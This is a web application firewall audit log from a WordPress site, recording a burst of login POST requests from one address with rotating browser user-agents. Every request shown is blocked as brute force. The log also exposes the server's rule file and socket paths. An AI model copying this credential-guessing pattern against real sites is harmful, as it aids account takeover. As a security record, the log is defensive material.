User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--10b04438-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--10b04438-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313937023987 1728 (- - -)
Stopwatch2: 1789313937023987 1728; combined=582, p1=299, p2=68, p3=0, p4=0, p5=215, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--10b04438-Z--
--eb4b5b1c-A--
[13/Sep/2026:18:38:57.409260 +0300] aqbDkRsbgHO3aGL3jiTwqwAAAAQ 134.185.87.66 43658 127.0.0.1 7081
--eb4b5b1c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 146
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--eb4b5b1c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--eb4b5b1c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313937406424 2950 (- - -)
Stopwatch2: 1789313937406424 2950; combined=1110, p1=538, p2=137, p3=0, p4=0, p5=435, sr=222, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--eb4b5b1c-Z--
--dac3252d-A--
[13/Sep/2026:18:38:57.791166 +0300] aqbDkUhjHs68UzErry1KuQAAAIo 134.185.87.66 43678 127.0.0.1 7081
--dac3252d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 122
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--dac3252d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--dac3252d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313937789652 1569 (- - -)
Stopwatch2: 1789313937789652 1569; combined=492, p1=212, p2=66, p3=0, p4=0, p5=214, sr=78, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dac3252d-Z--
--51daec6c-A--
[13/Sep/2026:18:38:58.172794 +0300] aqbDkldqBhgxDSpG7haLCgAAAE4 134.185.87.66 43704 127.0.0.1 7081
--51daec6c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 117
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--51daec6c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--51daec6c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313938168767 4121 (- - -)
Stopwatch2: 1789313938168767 4121; combined=1494, p1=343, p2=142, p3=0, p4=0, p5=1008, sr=144, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--51daec6c-Z--
--dd24075e-A--
[13/Sep/2026:18:38:58.567434 +0300] aqbDkvut1GUrjaX0wO44OAAAAMI 134.185.87.66 43718 127.0.0.1 7081
--dd24075e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--dd24075e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--dd24075e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313938562861 4700 (- - -)
Stopwatch2: 1789313938562861 4700; combined=1434, p1=587, p2=220, p3=0, p4=0, p5=626, sr=235, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dd24075e-Z--
--cfb58747-A--
[13/Sep/2026:18:38:58.969911 +0300] aqbDkvut1GUrjaX0wO44OQAAAMk 134.185.87.66 43740 127.0.0.1 7081
--cfb58747-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 108
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--cfb58747-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--cfb58747-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313938966197 3788 (- - -)
Stopwatch2: 1789313938966197 3788; combined=1599, p1=1178, p2=121, p3=0, p4=0, p5=300, sr=147, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cfb58747-Z--
--95a4287f-A--
[13/Sep/2026:18:38:59.352728 +0300] aqbDk-ut1GUrjaX0wO44OwAAANY 134.185.87.66 43756 127.0.0.1 7081
--95a4287f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 100
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--95a4287f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--95a4287f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313939350704 2096 (- - -)
Stopwatch2: 1789313939350704 2096; combined=708, p1=276, p2=136, p3=0, p4=0, p5=295, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--95a4287f-Z--
--bdd7985a-A--
[13/Sep/2026:18:38:59.738233 +0300] aqbDk-ut1GUrjaX0wO44PQAAAM8 134.185.87.66 43780 127.0.0.1 7081
--bdd7985a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 106
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--bdd7985a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--bdd7985a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313939736745 1541 (- - -)
Stopwatch2: 1789313939736745 1541; combined=500, p1=234, p2=59, p3=0, p4=0, p5=207, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bdd7985a-Z--
--2d9f4340-A--
[13/Sep/2026:18:39:00.122679 +0300] aqbDlPut1GUrjaX0wO44PwAAAM0 134.185.87.66 43808 127.0.0.1 7081
--2d9f4340-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--2d9f4340-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--2d9f4340-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313940120554 2195 (- - -)
Stopwatch2: 1789313940120554 2195; combined=682, p1=326, p2=91, p3=0, p4=0, p5=264, sr=110, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2d9f4340-Z--
--7efe6e0e-A--
[13/Sep/2026:18:39:00.505592 +0300] aqbDlPut1GUrjaX0wO44QQAAAMM 134.185.87.66 43832 127.0.0.1 7081
--7efe6e0e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 118
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--7efe6e0e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7efe6e0e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313940503676 2001 (- - -)
Stopwatch2: 1789313940503676 2001; combined=574, p1=230, p2=78, p3=0, p4=0, p5=266, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7efe6e0e-Z--
--a085bc03-A--
[13/Sep/2026:18:39:00.887825 +0300] aqbDlPut1GUrjaX0wO44QwAAANA 134.185.87.66 43844 127.0.0.1 7081
--a085bc03-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 102
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--a085bc03-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--a085bc03-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313940886084 1806 (- - -)
Stopwatch2: 1789313940886084 1806; combined=567, p1=229, p2=87, p3=0, p4=0, p5=251, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a085bc03-Z--
--5685f173-A--
[13/Sep/2026:18:39:01.270478 +0300] aqbDlRsbgHO3aGL3jiTwrAAAAAI 134.185.87.66 43856 127.0.0.1 7081
--5685f173-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 131
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5685f173-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5685f173-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313941268004 2552 (- - -)
Stopwatch2: 1789313941268004 2552; combined=770, p1=432, p2=106, p3=0, p4=0, p5=232, sr=141, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5685f173-Z--
--471a1c38-A--
[13/Sep/2026:18:39:01.681473 +0300] aqbDlfut1GUrjaX0wO44RgAAANI 134.185.87.66 43868 127.0.0.1 7081
--471a1c38-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--471a1c38-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--471a1c38-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313941679243 2296 (- - -)
Stopwatch2: 1789313941679243 2296; combined=755, p1=353, p2=88, p3=0, p4=0, p5=314, sr=119, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--471a1c38-Z--
--0e992042-A--
[13/Sep/2026:18:39:02.183184 +0300] aqbDlvut1GUrjaX0wO44SgAAAMQ 134.185.87.66 43910 127.0.0.1 7081
--0e992042-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--0e992042-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--0e992042-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313942180289 3058 (- - -)
Stopwatch2: 1789313942180289 3058; combined=1174, p1=488, p2=116, p3=0, p4=0, p5=570, sr=288, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0e992042-Z--
--1f2d0816-A--
[13/Sep/2026:18:39:02.692121 +0300] aqbDlvut1GUrjaX0wO44VAAAAMo 134.185.87.66 44008 127.0.0.1 7081
--1f2d0816-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 109
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--1f2d0816-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--1f2d0816-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313942689277 2941 (- - -)
Stopwatch2: 1789313942689277 2941; combined=902, p1=423, p2=131, p3=0, p4=0, p5=348, sr=226, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1f2d0816-Z--
--3e65b20f-A--
[13/Sep/2026:18:39:03.211508 +0300] aqbDl0hjHs68UzErry1KvAAAAJU 134.185.87.66 44084 127.0.0.1 7081
--3e65b20f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--3e65b20f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3e65b20f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
